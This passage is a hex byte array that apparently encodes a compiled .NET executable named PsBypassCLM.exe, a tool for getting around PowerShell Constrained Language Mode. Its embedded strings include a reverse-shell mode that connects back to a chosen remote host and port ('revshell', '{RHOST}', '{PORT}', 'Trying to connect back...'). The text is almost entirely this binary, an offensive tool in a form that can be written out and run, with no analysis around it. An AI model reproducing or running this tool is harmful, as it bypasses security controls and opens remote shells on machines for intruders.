6E,0x00,0x64,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x2C,0x00,0x30,0x00,0x2C,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x2E,0x00,0x4C,0x00,0x65,0x00,0x6E,0x00,0x67,0x00,0x74,0x00,0x68,0x00,0x29,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x74,0x00,0x72,0x00,0x65,0x00,0x61,0x00,0x6D,0x00,0x2E,0x00,0x46,0x00,0x6C,0x00,0x75,0x00,0x73,0x00,0x68,0x00,0x28,0x00,0x29,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x7D,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x63,0x00,0x6C,0x00,0x69,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x2E,0x00,0x43,0x00,0x6C,0x00,0x6F,0x00,0x73,0x00,0x65,0x00,0x28,0x00,0x29,0x00,0x3B,0x00,0x01,0x51,0x54,0x00,0x79,0x00,0x70,0x00,0x65,0x00,0x20,0x00,0x79,0x00,0x6F,0x00,0x75,0x00,0x72,0x00,0x20,0x00,0x50,0x00,0x30,0x00,0x77,0x00,0x33,0x00,0x72,0x00,0x53,0x00,0x68,0x00,0x33,0x00,0x6C,0x00,0x6C,0x00,0x20,0x00,0x63,0x00,0x6F,0x00,0x6D,0x00,0x6D,0x00,0x61,0x00,0x6E,0x00,0x64,0x00,0x20,0x00,0x64,0x00,0x6F,0x00,0x77,0x00,0x6E,0x00,0x20,0x00,0x68,0x00,0x65,0x00,0x72,0x00,0x65,0x00,0x20,0x00,0x0A,0x00,0x00,0x0F,0x7B,0x00,0x52,0x00,0x48,0x00,0x4F,0x00,0x53,0x00,0x54,0x00,0x7D,0x00,0x00,0x0D,0x7B,0x00,0x50,0x00,0x4F,0x00,0x52,0x00,0x54,0x00,0x7D,0x00,0x00,0x0B,0x50,0x00,0x53,0x00,0x20,0x00,0x3E,0x00,0x20,0x00,0x00,0x15,0x4F,0x00,0x75,0x00,0x74,0x00,0x2D,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x01,0x35,0x54,0x00,0x72,0x00,0x79,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x20,0x00,0x74,0x00,0x6F,0x00,0x20,0x00,0x63,0x00,0x6F,0x00,0x6E,0x00,0x6E,0x00,0x65,0x00,0x63,0x00,0x74,0x00,0x20,0x00,0x62,0x00,0x61,0x00,0x63,0x00,0x6B,0x00,0x2E,0x00,0x2E,0x00,0x2E,0x00,0x0A,0x00,0x00,0x07,0x7B,0x00,0x30,0x00,0x7D,0x00,0x00,0x09,0x65,0x00,0x78,0x00,0x69,0x00,0x74,0x00,0x00,0x11,0x72,0x00,0x65,0x00,0x76,0x00,0x73,0x00,0x68,0x00,0x65,0x00,0x6C,0x00,0x6C,0x00,0x00,0x0B,0x72,0x00,0x68,0x00,0x6F,0x00,0x73,0x00,0x74,0x00,0x00,0x5B,0x4D,0x00,0x61,0x00,0x6E,0x00,0x64,0x00,0x61,0x00,0x74,0x00,0x6F,0x00,0x72,0x00,0x79,0x00,0x20,0x00,0x70,0x00,0x61,0x00,0x72,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x74,0x00,0x65,0x00,0x72,0x00,0x20,0x00,0x27,0x00,0x72,0x00,0x68,0x00,0x6F,0x00,0x73,0x00,0x74,0x00,0x27,0x00,0x20,0x00,0x66,0x00,0x6F,0x00,0x72,0x00,0x20,0x00,0x72,0x00,0x65,0x00,0x76,0x00,0x73,0x00,0x68,0x00,0x65,0x00,0x6C,0x00,0x6C,0x00,0x20,0x00,0x6D,0x00,0x6F,0x00,0x64,0x00,0x65,0x00,0x01,0x0B,0x72,0x00,0x70,0x00,0x6F,0x00,0x72,0x00,0x74,0x00,0x00,0x59,0x4D,0x00,0x61,0x00,0x6E,0x00,0x64,0x00,0x61,0x00,0x74,0x00,0x6F,0x00,0x72,0x00,0x79,0x00,0x20,0x00,0x70,0x00,0x61,0x00,0x72,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x74,0x00,0x65,0x00,0x72,0x00,0x20,0x00,0x27,0x00,0x70,0x00,0x6F,0x00,0x72,0x00,0x74,0x00,0x27,0x00,0x20,0x00,0x66,0x00,0x6F,0x00,0x72,0x00,0x20,0x00,0x72,0x00,0x65,0x00,0x76,0x00,0x73,0x00,0x68,0x00,0x65,0x00,0x6C,0x00,0x6C,0x00,0x20,0x00,0x6D,0x00,0x6F,0x00,0x64,0x00,0x65,0x00,0x01,0x00,0x00,0x00,0xEB,0xE0,0x7B,0x83,0x5F,0xA0,0xB0,0x43,0x96,0x59,0x1F,0xC0,0xEF,0x7F,0xE8,0x62,0x00,0x04,0x20,0x01,0x01,0x08,0x03,0x20,0x00,0x01,0x05,0x20,0x01,0x01,0x11,0x11,0x04,0x20,0x01,0x01,0x0E,0x04,0x20,0x01,0x01,0x02,0x17,0x07,0x0B,0x0E,0x0E,0x0E,0x02,0x12,0x45,0x0E,0x12,0x49,0x12,0x4D,0x15,0x12,0x51,0x01,0x12,0x55,0x12,0x55,0x12,0x59,0x04,0x00,0x01,0x02,0x0E,0x04,0x00,0x00,0x12,0x45,0x05,0x20,0x01,0x01,0x12,0x45,0x09,0x20,0x01,0x15,0x12,0x75,0x01,0x12,0x55,0x0E,0x04,0x00,0x01,0x01,0x0E,0x05,0x20,0x02,0x0E,0x0E,0x0E,0x03,0x00,0x00,0x0E,0x04,0x20,0x00,0x12,0x49,0x04,0x20,0x00,0x12,0x7D,0x08,0x20,0x00,0x15,0x12,0x75,0x01,0x12,0x55,0x06,0x15,0x12,0x75,0x01,0x12,0x55,0x08,0x20,0x00,0x15,0x12,0x51,0x01,0x13,0x00,0x06,0x15,0x12,0x51,0x01,0x12,0x55,0x04,0x20,0x00,0x13,0x00,0x03,0x20,0x00,0x0E,0x05,0x20,0x01,0x12,0x4D,0x0E,0x03,0x20,0x00,0x02,0x05,0x00,0x02,0x01,0x0E,0x1C,0x05,0x00,0x02,0x02,0x0E,0x0E,0x04,0x07,0x02,0x0E,0x0E,0x05,0x20,0x00,0x12,0x80,0x89,0x05,0x20,0x00,0x12,0x80,0x8D,0x04,0x20,0x01,0x0E,0x0E,0x08,0xB7,0x7A,0x5C,0x56,0x19,0x34,0xE0,0x89,0x08,0x31,0xBF,0x38,0x56,0xAD,0x36,0x4E,0x35,0x08,0xB0,0x3F,0x5F,0x7F,0x11,0xD5,0x0A,0x3A,0x05,0x00,0x01,0x01,0x1D,0x0E,0x05,0x20,0x01,0x01,0x12,0x65,0x08,0x01,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x1E,0x01,0x00,0x01,0x00,0x54,0x02,0x16,0x57,0x72,0x61,0x70,0x4E,0x6F,0x6E,0x45,0x78,0x63,0x65,0x70,0x74,0x69,0x6F,0x6E,0x54,0x68,0x72,0x6F,0x77,0x73,0x01,0x08,0x01,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x0A,0x01,0x00,0x05,0x50,0x73,0x42,0x79,0x32,0x00,0x00,0x05,0x01,0x00,0x00,0x00,0x00,0x17,0x01,0x00,0x12,0x43,0x6F,0x70,0x79,0x72,0x69,0x67,0x68,0x74,0x20,0xC2,0xA9,0x20,0x20,0x32,0x30,0x31,0x38,0x00,0x00,0x29,0x01,0x00,0x24,0x34,0x36,0x30,0x33,0x34,0x30,0x33,0x38,0x2D,0x30,0x31,0x31,0x33,0x2D,0x34,0x64,0x37,0x35,0x2D,0x38,0x31,0x66,0x64,0x2D,0x65,0x62,0x33,0x62,0x34,0x38,0x33,0x66,0x32,0x36,0x36,0x32,0x00,0x00,0x0C,0x01,0x00,0x07,0x31,0x2E,0x30,0x2E,0x30,0x2E,0x30,0x00,0x00,0x49,0x01,0x00,0x1A,0x2E,0x4E,0x45,0x54,0x46,0x72,0x61,0x6D,0x65,0x77,0x6F,0x72,0x6B,0x2C,0x56,0x65,0x72,0x73,0x69,0x6F,0x6E,0x3D,0x76,0x34,0x2E,0x35,0x01,0x00,0x54,0x0E,0x14,0x46,0x72,0x61,0x6D,0x65,0x77,0x6F,0x72,0x6B,0x44,0x69,0x73,0x70,0x6C,0x61,0x79,0x4E,0x61,0x6D,0x65,0x12,0x2E,0x4E,0x45,0x54,0x20,0x46,0x72,0x61,0x6D,0x65,0x77,0x6F,0x72,0x6B,0x20,0x34,0x2E,0x35,0x05,0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xD0,0x95,0xEC,0x5F,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x1C,0x01,0x00,0x00,0x20,0x3B,0x00,0x00,0x20,0x1D,0x00,0x00,0x52,0x53,0x44,0x53,0xC3,0x49,0xF6,0x6C,0x98,0x26,0x53,0x44,0xA3,0xF3,0x11,0x2C,0x19,0xB4,0x61,0x35,0x01,0x00,0x00,0x00,0x43,0x3A,0x5C,0x74,0x65,0x6D,0x70,0x5C,0x50,0x53,0x42,0x79,0x50,0x61,0x73,0x73,0x43,0x4C,0x4D,0x2D,0x6D,0x61,0x73,0x74,0x65,0x72,0x5C,0x50,0x53,0x42,0x79,0x50,0x61,0x73,0x73,0x43,0x4C,0x4D,0x2D,0x6D,0x61,0x73,0x74,0x65,0x72,0x5C,0x50,0x53,0x42,0x79,0x70,0x61,0x73,0x73,0x43,0x4C,0x4D,0x5C,0x50,0x53,0x42,0x79,0x70,0x61,0x73,0x73,0x43,0x4C,0x4D,0x5C,0x6F,0x62,0x6A,0x5C,0x52,0x65,0x6C,0x65,0x61,0x73,0x65,0x5C,0x50,0x73,0x42,0x79,0x70,0x61,0x73,0x73,0x43,0x4C,0x4D,0x2E,0x70,0x64,0x62,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x64,0x3C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7E,0x3C,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x3C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x5F,0x43,0x6F,0x72,0x45,0x78,0x65,0x4D,0x61,0x69,0x6E,0x00,0x6D,0x73,0x63,0x6F,0x72,0x65,0x65,0x2E,0x64,0x6C,0x6C,0x00,0x00,0x00,0x00,0x00,0xFF,0x25,0x00,0x20,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x10,0x00,0x00,0x00,0x20,0x00,0x00,0x80,0x18,0x00,0x00,0x00,0x50,0x00,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x38,0x00,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x68,0x00,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0xA4,0x03,0x00,0x00,0x90,0x40,0x00,0x00,0x14,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x14,0x03,0x34,0x00,0x00,0x00,0x56,0x00,0x53,0x00,0x5F,0x00,0x56,0x00,0x45,0x00,0x52,0x00,0x53,0x00,0x49,0x00,0x4F,0x00,0x4E,0x00,0x5F,0x00,0x49,0x00,0x4E,0x00,0x46,0x00,0x4F,0x00,0x00,0x00,0x00,0x00,0xBD,0x04,0xEF,0xFE,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x3F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x00,0x01,0x00,0x56,0x00,0x61,0x00,0x72,0x00,0x46,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x49,0x00,0x6E,0x00,0x66,0x00,0x6F,0x00,0x00,0x00,0x00,0x00,0x24,0x00,0x04,0x00,0x00,0x00,0x54,0x00,0x72,0x00,0x61,0x00,0x6E,0x00,0x73,0x00,0x6C,0x00,0x61,0x00,0x74,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xB0,0x04,0x74,0x02,0x00,0x00,0x01,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x46,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x49,0x00,0x6E,0x00,0x66,0x00,0x6F,0x00,0x00,0x00,0x50,0x02,0x00,0x00,0x01,0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x34,0x00,0x62,0x00,0x30,0x00,0x00,0x00,0x1A,0x00,0x01,0x00,0x01,0x00,0x43,0x00,0x6F,0x00,0x6D,0x00,0x6D,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x73,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x22,0x00,0x01,0x00,0x01,0x00,0x43,0x00,0x6F,0x00,0x6D,0x00,0x70,0x00,0x61,0x00,0x6E,0x00,0x79,0x00,0x4E,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x34,0x00,0x06,0x00,0x01,0x00,0x46,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x44,0x00,0x65,0x00,0x73,0x00,0x63,0x00,0x72,0x00,0x69,0x00,0x70,0x00,0x74,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0x50,0x00,0x73,0x00,0x42,0x00,0x79,0x00,0x32,0x00,0x00,0x00,0x30,0x00,0x08,0x00,0x01,0x00,0x46,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x56,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0x31,0x00,0x2E,0x00,0x30,0x00,0x2E,0x00,0x30,0x00,0x2E,0x00,0x30,0x00,0x00,0x00,0x40,0x00,0x10,0x00,0x01,0x00,0x49,0x00,0x6E,0x00,0x74,0x00,0x65,0x00,0x72,0x00,0x6E,0x00,0x61,0x00,0x6C,0x00,0x4E,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x00,0x00,0x50,0x00,0x73,0x00,0x42,0x00,0x79,0x00,0x70,0x00,0x61,0x00,0x73,0x00,0x73,0x00,0x43,0x00,0x4C,0x00,0x4D,0x00,0x2E,0x00,0x65,0x00,0x78,0x00,0x65,0x00,0x00,0x00,0x48,0x00,0x12,0x00,0x01,0x00,0x4C,0x00,0x65,0x00,0x67,0x00,0x61,0x00,0x6C,0x00,0x43,0x00,0x6F,0x00,0x70,0x00,0x79,0x00,0x72,0x00,0x69,0x00,0x67,0x00,0x68,0x00,0x74,0x00,0x00,0x00,0x43,0x00,0x6F,0x00,0x70,0x00,0x79,0x00,0x72,0x00,0x69,0x00,0x67,0x00,0x68,0x00,0x74,0x00,0x20,0x00,0xA9,0x00,0x20,0x00,0x20,0x00,0x32,0x00,0x30,0x00,0x31,0x00,0x38,0x00,0x00,0x00,0x2A,0x00,0x01,0x00,0x01,0x00,0x4C,0x00,0x65,0x00,0x67,0x00,0x61,0x00,0x6C,0x00,0x54,0x00,0x72,0x00,0x61,0x00,0x64,0x00,0x65,0x00,0x6D,0x00,0x61,0x00,0x72,0x00,0x6B,0x00,0x73,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x10,0x00,0x01,0x00,0x4F,0x00,0x72,0x00,0x69,0x00,0x67,0x00,0x69,0x00,0x6E,0x00,0x61,0x00,0x6C,0x00,0x46,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x6E,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x00,0x00,0x50,0x00,0x73,0x00,0x42,0x00,0x79,0x00,0x70,0x00,0x61,0x00,0x73,0x00,0x73,0x00,0x43,0x00,0x4C,0x00,0x4D,0x00,0x2E,0x00,0x65,0x00,0x78,0x00,0x65,0x00,0x00,0x00,0x2C,0x00,0x06,0x00,0x01,0x00,0x50,0x00,0x72,0x00,0x6F,0x00,0x64,0x00,0x75,0x00,0x63,0x00,0x74,0x00,0x4E,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x00,0x00,0x00,0x00,0x50,0x00,0x73,0x00,0x42,0x00,0x79,0x00,0x32,0x00,0x00,0x00,0x34,0x00,0x08,0x00,0x01,0x00,0x50,0x00,0x72,0x00,0x6F,0x00,0x64,0x00,0x75,0x00,0x63,0x00,0x74,0x00,0x56,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x00,0x00,0x31,0x00,0x2E,0x00,0x30,0x00,0x2E,0x00,0x30,0x00,0x2E,0x00,0x30,0x00,0x00,0x00,0x38,0x00,0x08,0x00,0x01,0x00,0x41,0x00,0x73,0x00,0x73,0x00,0x65,0x00,0x6D,0x00,0x62,0x00,0x6C,0x00,0x79,0x00,0x20,0x00,0x56,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x00,0x00,0x31,0x00,0x2E,0x00,0x30,0x00,0x2E,0x00,0x30,0x00,0x2E,0x00,0x30,0x00,0x00,0x00,0xB4,0x43,0x00,0x00,0xEA,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xEF,0xBB,0xBF,0x3C,0x3F,0x78,0x6D,0x6C,0x20,0x76,0x65,0x72,0x73,0x69,0x6F,0x6E,0x3D,0x22,0x31,0x2E,0x30,0x22,0x20,0x65,0x6E,0x63,0x6F,0x64,0x69,0x6E,0x67,0x3D,0x22,0x55,0x54,0x46,0x2D,0x38,0x22,0x20,0x73,0x74,0x61,0x6E,0x64,0x61,0x6C,0x6F,0x6E,0x65,0x3D,0x22,0x79,0x65,0x73,0x22,0x3F,0x3E,0x0D,0x0A,0x0D,0x0A,0x3C,0x61,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x20,0x78,0x6D,0x6C,0x6E,0x73,0x3D,0x22,0x75,0x72,0x6E,0x3A,0x73,0x63,0x68,0x65,0x6D,0x61,0x73,0x2D,0x6D,0x69,0x63,0x72,0x6F,0x73,0x6F,0x66,0x74,0x2D,0x63,0x6F,0x6D,0x3A,0x61,0x73,0x6D,0x2E,0x76,0x31,0x22,0x20,0x6D,0x61,0x6E,0x69,0x66,0x65,0x73,0x74,0x56,0x65,0x72,0x73,0x69,0x6F,0x6E,0x3D,0x22,0x31,0x2E,0x30,0x22,0x3E,0x0D,0x0A,0x20,0x20,0x3C,0x61,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x49,0x64,0x65,0x6E,0x74,0x69,0x74,0x79,0x20,0x76,0x65,0x72,0x73,0x69,0x6F,0x6E,0x3D,0x22,0x31,0x2E,0x30,0x2E,0x30,0x2E,0x30,0x22,0x20,0x6E,0x61,0x6D,0x65,0x3D,0x22,0x4D,0x79,0x41,0x70,0x70,0x6C,0x69,0x63,0x61,0x74,0x69,0x6F,0x6E,0x2E,0x61,0x70,0x70,0x22,0x2F,0x3E,0x0D,0x0A,0x20,0x20,0x3C,0x74,0x72,0x75,0x73,0x74,0x49,0x6E,0x66,0x6F,0x20,0x78,0x6D,0x6C,0x6E,0x73,0x3D,0x22,0x75,0x72,0x6E,0x3A,0x73,0x63,0x68,0x65,0x6D,0x61,0x73,0x2D,0x6D,0x69,0x63,0x72,0x6F,0x73,0x6F,0x66,0x74,0x2D,0x63,0x6F,0x6D,0x3A,0x61,0x73,0x6D,0x2E,0x76,0x32,0x22,0x3E,0x0D,0x0A,0x20,0x20,0x20,0x20,0x3C,0x73,0x65,0x63,0x75,0x72,0x69,0x74,0x79,0x3E,0x0D,0x0A,0x20,0x20,0x20,0x20,0x20,0x20,0x3C,0x72,0x65,0x71,0x75,0x65,0x73,0x74,0x65,0x64,0x50,0x72,0x69,0x76,0x69,0x6C,0x65,0x67,0x65,0x73,0x20,0x78,0x6D,0x6C,0x6E,0x73,0x3D,0x22,0x75,0x72,0x6E,0x3A,0x73,0x63,0x68,0x65,0x6D,0x61,0x73,0x2D,0x6D,0x69,0x63,0x72,0x6F,0x73,0x6F,0x66,0x74,0x2D,0x63,0x6F,0x6D,0x3A,0x61,0x73,0x6D,0x2E,0x76,0x33,0x22,0x3E,0x0D,0x0A,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x3C,0x72,0x65,0x71,0x75,0x65,0x73,0x74,0x65,0x64,0x45,0x78,0x65,0x63,0x75,0x74,0x69,0x6F,0x6E,0x4C,0x65,0x76,0x65,0x6C,0x20,0x6C,0x65,0x76,0x65,0x6C,0x3D,0x22,0x61,0x73,0x49,0x6E,0x76,0x6F,0x6B,0x65,0x72,0x22,0x20,0x75,0x69,0x41,0x63,0x63,0x65,0x73,0x73,0x3D,0x22,0x66,0x61,0x6C,0x73,0x65,0x22,0x2F,0x3E,0x0D,0x0A,0x20,0x20,0x20,0x20,0x20,0x20,0x3C,0x2F,0x72,0x65,0x71,0x75,0x65,0x73,0x74,0x65,0x64,0x50,0x72,0x69,0x76,0x69,0x6C,0x65,0x67,0x65,0x73,0x3E,0x0D,0x0A,0x20,0x20,0x20,0x20,0x3C,0x2F,0x73,0x65,0x63,0x75,0x72,0x69,0x74,0x79,0x3E,0x0D,0x0A,0x20,0x20,0x3C,0x2F,0x74,0x72,0x75,0x73,0x74,0x49,0x6E,0x66,0x6F,0x3E,0x0D,0x0A,0x3C,0x2F,0x61,0x73,0x73,0x65,0x6D,0x62,0x6C,0x79,0x3E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x30,0x00,0x00,0x0C,0x00,0x00,0x00,0x90,0x3C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0